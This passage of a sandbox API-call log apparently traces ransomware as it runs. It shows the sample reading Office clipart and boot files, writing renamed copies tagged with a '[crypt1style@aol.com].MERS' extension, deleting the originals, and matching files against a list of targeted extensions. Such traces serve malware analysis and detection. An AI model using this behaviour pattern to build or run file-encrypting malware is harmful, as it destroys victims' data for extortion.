Office\\CLIPART\\PUB60COR\\CLIP.WMF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\clip.wmf.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0273.950] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLIP.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\clip.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0273.951] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec8 | out: lpNewFilePointer=0x0) returned 1 [0273.951] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec8 | out: lpNewFilePointer=0x0) returned 1 [0273.951] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLIP.WMF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\clip.wmf.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0273.951] GetLastError () returned 0x0 [0273.951] ReadFile (in: hFile=0x3b8, lpBuffer=0x3840020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befed4, lpOverlapped=0x0 | out: lpBuffer=0x3840020*, lpNumberOfBytesRead=0x2befed4*=0x8d6, lpOverlapped=0x0) returned 1 [0273.965] WriteFile (in: hFile=0x3a0, lpBuffer=0x3840020*, nNumberOfBytesToWrite=0x8e0, lpNumberOfBytesWritten=0x2befc9c, lpOverlapped=0x0 | out: lpBuffer=0x3840020*, lpNumberOfBytesWritten=0x2befc9c*=0x8e0, lpOverlapped=0x0) returned 1 [0273.965] ReadFile (in: hFile=0x3b8, lpBuffer=0x3840020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befed4, lpOverlapped=0x0 | out: lpBuffer=0x3840020*, lpNumberOfBytesRead=0x2befed4*=0x0, lpOverlapped=0x0) returned 1 [0273.965] WriteFile (in: hFile=0x3a0, lpBuffer=0x3840020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x2befc9c, lpOverlapped=0x0 | out: lpBuffer=0x3840020*, lpNumberOfBytesWritten=0x2befc9c*=0xe4, lpOverlapped=0x0) returned 1 [0273.966] SetEndOfFile (hFile=0x3a0) returned 1 [0273.966] CloseHandle (hObject=0x3a0) returned 1 [0273.966] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec8 | out: lpNewFilePointer=0x0) returned 1 [0273.966] SetEndOfFile (hFile=0x3b8) returned 1 [0273.968] CloseHandle (hObject=0x3b8) returned 1 [0273.968] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLIP.WMF.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0273.968] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLIP.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\clip.wmf")) returned 1 [0273.968] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLIP.WMF") returned 59 [0273.968] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLIP.WMF") returned 59 [0273.968] lstrlenW (lpString=".doc") returned 4 [0273.968] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0273.968] lstrlenW (lpString=".docx") returned 5 [0273.968] lstrcmpiW (lpString1=".docx", lpString2="P.WMF") returned -1 [0273.968] lstrlenW (lpString=".pdf") returned 4 [0273.968] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0273.968] lstrlenW (lpString=".xls") returned 4 [0273.968] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0273.968] lstrlenW (lpString=".xlsx") returned 5 [0273.969] lstrcmpiW (lpString1=".xlsx", lpString2="P.WMF") returned -1 [0273.969] lstrlenW (lpString=".ppt") returned 4 [0273.969] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0273.969] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLIP.WMF") returned 59 [0273.969] lstrlenW (lpString=".zip") returned 4 [0273.969] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0273.969] lstrlenW (lpString=".rar") returned 4 [0273.969] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0273.969] lstrlenW (lpString=".bz2") returned 4 [0273.969] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0273.969] lstrlenW (lpString=".7z") returned 3 [0273.969] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0273.969] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLIP.WMF") returned 59 [0273.969] lstrlenW (lpString=".dbf") returned 4 [0273.969] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0273.969] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLIP.WMF") returned 59 [0273.969] lstrlenW (lpString=".1cd") returned 4 [0273.969] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0273.969] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLIP.WMF") returned 59 [0273.969] lstrlenW (lpString=".jpg") returned 4 [0273.969] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0273.969] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLIP.WMF") returned 59 [0273.969] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLIP.WMF") returned 59 [0273.969] lstrlenW (lpString=".doc") returned 4 [0273.969] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0273.969] lstrlenW (lpString=".docx") returned 5 [0273.969] lstrcmpiW (lpString1=".docx", lpString2="P.WMF") returned -1 [0273.969] lstrlenW (lpString=".pdf") returned 4 [0273.969] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0273.969] lstrlenW (lpString=".xls") returned 4 [0273.969] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0273.969] lstrlenW (lpString=".xlsx") returned 5 [0273.969] lstrcmpiW (lpString1=".xlsx", lpString2="P.WMF") returned -1 [0273.969] lstrlenW (lpString=".ppt") returned 4 [0273.970] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0273.970] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLIP.WMF") returned 59 [0273.970] lstrlenW (lpString=".zip") returned 4 [0273.970] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0273.970] lstrlenW (lpString=".rar") returned 4 [0273.970] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0273.970] lstrlenW (lpString=".bz2") returned 4 [0273.970] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0273.970] lstrlenW (lpString=".7z") returned 3 [0273.970] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0273.970] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLIP.WMF") returned 59 [0273.970] lstrlenW (lpString=".dbf") returned 4 [0273.970] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0273.970] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLIP.WMF") returned 59 [0273.970] lstrlenW (lpString=".1cd") returned 4 [0273.970] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0273.970] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLIP.WMF") returned 59 [0273.970] lstrlenW (lpString=".jpg") returned 4 [0273.970] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0273.970] lstrcmpiW (lpString1=".WMF", lpString2=".MERS") returned 1 [0273.970] lstrlenW (lpString="CUPINST.WMF") returned 11 [0273.970] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUPINST.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cupinst.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0273.971] GetFileSizeEx (in: hFile=0x3b8, lpFileSize=0x2beff1c | out: lpFileSize=0x2beff1c*=10326) returned 1 [0273.971] CloseHandle (hObject=0x3b8) returned 1 [0273.971] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUPINST.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cupinst.wmf")) returned 0x20 [0273.971] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUPINST.WMF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cupinst.wmf.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0273.971] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUPINST.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cupinst.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0273.972] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec8 | out: lpNewFilePointer=0x0) returned 1 [0273.972] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec8 | out: lpNewFilePointer=0x0) returned 1 [0273.972] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUPINST.WMF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cupinst.wmf.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0273.972] GetLastError () returned 0x0 [0273.972] ReadFile (in: hFile=0x3b8, lpBuffer=0x3840020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befed4, lpOverlapped=0x0 | out: lpBuffer=0x3840020*, lpNumberOfBytesRead=0x2befed4*=0x2856, lpOverlapped=0x0) returned 1 [0274.085] WriteFile (in: hFile=0x3a0, lpBuffer=0x3840020*, nNumberOfBytesToWrite=0x2860, lpNumberOfBytesWritten=0x2befc9c, lpOverlapped=0x0 | out: lpBuffer=0x3840020*, lpNumberOfBytesWritten=0x2befc9c*=0x2860, lpOverlapped=0x0) returned 1 [0274.086] ReadFile (in: hFile=0x3b8, lpBuffer=0x3840020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befed4, lpOverlapped=0x0 | out: lpBuffer=0x3840020*, lpNumberOfBytesRead=0x2befed4*=0x0, lpOverlapped=0x0) returned 1 [0274.086] WriteFile (in: hFile=0x3a0, lpBuffer=0x3840020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2befc9c, lpOverlapped=0x0 | out: lpBuffer=0x3840020*, lpNumberOfBytesWritten=0x2befc9c*=0xea, lpOverlapped=0x0) returned 1 [0274.086] SetEndOfFile (hFile=0x3a0) returned 1 [0274.086] CloseHandle (hObject=0x3a0) returned 1 [0274.086] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec8 | out: lpNewFilePointer=0x0) returned 1 [0274.086] SetEndOfFile (hFile=0x3b8) returned 1 [0274.088] CloseHandle (hObject=0x3b8) returned 1 [0274.088] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUPINST.WMF.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0274.088] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUPINST.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cupinst.wmf")) returned 1 [0274.088] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUPINST.WMF") returned 62 [0274.088] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUPINST.WMF") returned 62 [0274.088] lstrlenW (lpString=".doc") returned 4 [0274.088] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0274.088] lstrlenW (lpString=".docx") returned 5 [0274.088] lstrcmpiW (lpString1=".docx", lpString2="T.WMF") returned -1 [0274.088] lstrlenW (lpString=".pdf") returned 4 [0274.088] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0274.088] lstrlenW (lpString=".xls") returned 4 [0274.088] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0274.088] lstrlenW (lpString=".xlsx") returned 5 [0274.088] lstrcmpiW (lpString1=".xlsx", lpString2="T.WMF") returned -1 [0274.088] lstrlenW (lpString=".ppt") returned 4 [0274.088] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0274.088] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUPINST.WMF") returned 62 [0274.088] lstrlenW (lpString=".zip") returned 4 [0274.088] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0274.088] lstrlenW (lpString=".rar") returned 4 [0274.088] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0274.088] lstrlenW (lpString=".bz2") returned 4 [0274.089] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0274.089] lstrlenW (lpString=".7z") returned 3 [0274.089] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0274.089] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUPINST.WMF") returned 62 [0274.089] lstrlenW (lpString=".dbf") returned 4 [0274.089] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0274.089] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUPINST.WMF") returned 62 [0274.089] lstrlenW (lpString=".1cd") returned 4 [0274.089] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0274.089] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUPINST.WMF") returned 62 [0274.089] lstrlenW (lpString=".jpg") returned 4 [0274.089] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0274.089] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUPINST.WMF") returned 62 [0274.089] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUPINST.WMF") returned 62 [0274.089] lstrlenW (lpString=".doc") returned 4 [0274.089] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0274.089] lstrlenW (lpString=".docx") returned 5 [0274.089] lstrcmpiW (lpString1=".docx", lpString2="T.WMF") returned -1 [0274.089] lstrlenW (lpString=".pdf") returned 4 [0274.089] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0274.089] lstrlenW (lpString=".xls") returned 4 [0274.089] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0274.089] lstrlenW (lpString=".xlsx") returned 5 [0274.089] lstrcmpiW (lpString1=".xlsx", lpString2="T.WMF") returned -1 [0274.089] lstrlenW (lpString=".ppt") returned 4 [0274.089] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0274.089] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUPINST.WMF") returned 62 [0274.089] lstrlenW (lpString=".zip") returned 4 [0274.089] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0274.089] lstrlenW (lpString=".rar") returned 4 [0274.090] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0274.090] lstrlenW (lpString=".bz2") returned 4 [0274.090] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0274.090] lstrlenW (lpString=".7z") returned 3 [0274.090] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0274.090] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUPINST.WMF") returned 62 [0274.090] lstrlenW (lpString=".dbf") returned 4 [0274.090] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0274.090] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUPINST.WMF") returned 62 [0274.090] lstrlenW (lpString=".1cd") returned 4 [0274.090] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0274.090] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUPINST.WMF") returned 62 [0274.090] lstrlenW (lpString=".jpg") returned 4 [0274.090] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0274.090] lstrcmpiW (lpString1=".WMF", lpString2=".MERS") returned 1 [0274.090] lstrlenW (lpString="DD00234_.WMF") returned 12 [0274.090] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00234_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00234_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d4 [0274.107] GetFileSizeEx (in: hFile=0x3d4, lpFileSize=0x2beff1c | out: lpFileSize=0x2beff1c*=29628) returned 1 [0274.107] CloseHandle (hObject=0x3d4) returned 1 [0274.107] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00234_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00234_.wmf")) Thread: id = 93 os_tid = 0x6e0 [0257.680] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10000) returned 0x629c40 [0257.681] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10000) returned 0x3a70048 [0257.681] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10) returned 0x595268 [0257.681] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x6) returned 0x5c1fb8 [0257.681] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10) returned 0x595280 [0257.681] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100000) returned 0x3b70020 [0257.681] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10) returned 0x595298 [0257.681] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x595298, Size=0x20) returned 0x6292c0 [0257.681] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10) returned 0x595298 [0257.681] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x595298, Size=0x20) returned 0x6292e8 [0257.681] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75030000 [0257.681] GetProcAddress (hModule=0x75030000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x7505d650 [0257.681] Wow64DisableWow64FsRedirection (in: OldValue=0x2d2ff58 | out: OldValue=0x2d2ff58*=0x0) returned 1 [0257.681] lstrlenW (lpString="kernel32.dll") returned 12 [0257.681] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x6292c0 | out: hHeap=0x540000) returned 1 [0257.682] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0257.682] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x6292e8 | out: hHeap=0x540000) returned 1 [0257.682] Sleep (dwMilliseconds=0x64) [0257.870] Sleep (dwMilliseconds=0x64) [0258.057] lstrlenW (lpString="BCD") returned 3 [0258.058] CreateFileW (lpFileName="C:\\Boot\\BCD" (normalized: "c:\\boot\\bcd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0258.082] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0258.082] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0258.082] lstrlenW (lpString=".doc") returned 4 [0258.082] lstrcmpiW (lpString1=".doc", lpString2="\\BCD") returned -1 [0258.082] lstrlenW (lpString=".docx") returned 5 [0258.082] lstrcmpiW (lpString1=".docx", lpString2="t\\BCD") returned -1 [0258.082] lstrlenW (lpString=".pdf") returned 4 [0258.082] lstrcmpiW (lpString1=".pdf", lpString2="\\BCD") returned -1 [0258.082] lstrlenW (lpString=".xls") returned 4 [0258.082] lstrcmpiW (lpString1=".xls", lpString2="\\BCD") returned -1 [0258.083] lstrlenW (lpString=".xlsx") returned 5 [0258.083] lstrcmpiW (lpString1=".xlsx", lpString2="t\\BCD") returned -1 [0258.083] lstrlenW (lpString=".ppt") returned 4 [0258.083] lstrcmpiW (lpString1=".ppt", lpString2="\\BCD") returned -1 [0258.083] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0258.083] lstrlenW (lpString=".zip") returned 4 [0258.083] lstrcmpiW (lpString1=".zip", lpString2="\\BCD") returned -1 [0258.083] lstrlenW (lpString=".rar") returned 4 [0258.083] lstrcmpiW (lpString1=".rar", lpString2="\\BCD") returned -1 [0258.083] lstrlenW (lpString=".bz2") returned 4 [0258.083] lstrcmpiW (lpString1=".bz2", lpString2="\\BCD") returned -1 [0258.083] lstrlenW (lpString=".7z") returned 3 [0258.083] lstrcmpiW (lpString1=".7z", lpString2="BCD") returned -1 [0258.083] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0258.083] lstrlenW (lpString=".dbf") returned 4 [0258.083] lstrcmpiW (lpString1=".dbf", lpString2="\\BCD") returned -1 [0258.083] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0258.083] lstrlenW (lpString=".1cd") returned 4 [0258.083] lstrcmpiW (lpString1=".1cd", lpString2="\\BCD") returned -1 [0258.083] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0258.083] lstrlenW (lpString=".jpg") returned 4 [0258.083] lstrcmpiW (lpString1=".jpg", lpString2="\\BCD") returned -1 [0258.083] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0258.083] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0258.083] lstrlenW (lpString=".doc") returned 4 [0258.083] lstrcmpiW (lpString1=".doc", lpString2="\\BCD") returned -1 [0258.083] lstrlenW (lpString=".docx") returned 5 [0258.083] lstrcmpiW (lpString1=".docx", lpString2="t\\BCD") returned -1 [0258.083] lstrlenW (lpString=".pdf") returned 4 [0258.083] lstrcmpiW (lpString1=".pdf", lpString2="\\BCD") returned -1 [0258.083] lstrlenW (lpString=".xls") returned 4 [0258.083] lstrcmpiW (lpString1=".xls", lpString2="\\BCD") returned -1 [0258.083] lstrlenW (lpString=".xlsx") returned 5 [0258.084] lstrcmpiW (lpString1=".xlsx", lpString2="t\\BCD") returned -1 [0258.084] lstrlenW (lpString=".ppt") returned 4 [0258.084] lstrcmpiW (lpString1=".ppt", lpString2="\\BCD") returned -1 [0258.084] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0258.084] lstrlenW (lpString=".zip") returned 4 [0258.084] lstrcmpiW (lpString1=".zip", lpString2="\\BCD") returned -1 [0258.084] lstrlenW (lpString=".rar") returned 4 [0258.084] lstrcmpiW (lpString1=".rar", lpString2="\\BCD") returned -1 [0258.084] lstrlenW (lpString=".bz2") returned 4 [0258.084] lstrcmpiW (lpString1=".bz2", lpString2="\\BCD") returned -1 [0258.084] lstrlenW (lpString=".7z") returned 3 [0258.084] lstrcmpiW (lpString1=".7z", lpString2="BCD") returned -1 [0258.084] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0258.084] lstrlenW (lpString=".dbf") returned 4 [0258.084] lstrcmpiW (lpString1=".dbf", lpString2="\\BCD") returned -1 [0258.084] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0258.084] lstrlenW (lpString=".1cd") returned 4 [0258.084] lstrcmpiW (lpString1=".1cd", lpString2="\\BCD") returned -1 [0258.084] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0258.084] lstrlenW (lpString=".jpg") returned 4 [0258.084] lstrcmpiW (lpString1=".jpg", lpString2="\\BCD") returned -1 [0258.084] lstrcmpiW (lpString1=".mui", lpString2=".MERS") returned 1 [0258.084] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0258.084] CreateFileW (lpFileName="C:\\Boot\\da-DK\\bootmgr.exe.mui" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0258.085] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x2d2ff1c | out: lpFileSize=0x2d2ff1c*=87616) returned 1 [0258.085] CloseHandle (hObject=0x2f0) returned 1 [0258.085] GetFileAttributesW (lpFileName="C:\\Boot\\da-DK\\bootmgr.exe.mui" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui")) returned 0x20 [0258.085] GetFileAttributesW (lpFileName="C:\\Boot\\da-DK\\bootmgr.exe.mui.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0258.085] CreateFileW (lpFileName="C:\\Boot\\da-DK\\bootmgr.exe.mui" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0258.085] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0258.085] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0258.085] lstrlenW (lpString=".doc") returned 4 [0258.085] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0258.085] lstrlenW (lpString=".docx") returned 5 [0258.085] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0258.085] lstrlenW (lpString=".pdf") returned 4 [0258.085] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0258.085] lstrlenW (lpString=".xls") returned 4 [0258.085] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0258.085] lstrlenW (lpString=".xlsx") returned 5 [0258.085] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0258.085] lstrlenW (lpString=".ppt") returned 4 [0258.085] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0258.085] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0258.085] lstrlenW (lpString=".zip") returned 4 [0258.085] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0258.085] lstrlenW (lpString=".rar") returned 4 [0258.085] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0258.085] lstrlenW (lpString=".bz2") returned 4 [0258.085] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0258.085] lstrlenW (lpString=".7z") returned 3 [0258.085] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0258.085] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0258.086] lstrlenW (lpString=".dbf") returned 4 [0258.086] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0258.086] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0258.086] lstrlenW (lpString=".1cd") returned 4 [0258.086] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0258.086] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0258.086] lstrlenW (lpString=".jpg") returned 4 [0258.086] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0258.086] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0258.086] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0258.086] lstrlenW (lpString=".doc") returned 4 [0258.086] lstrcmpiW (lpString1=".doc", 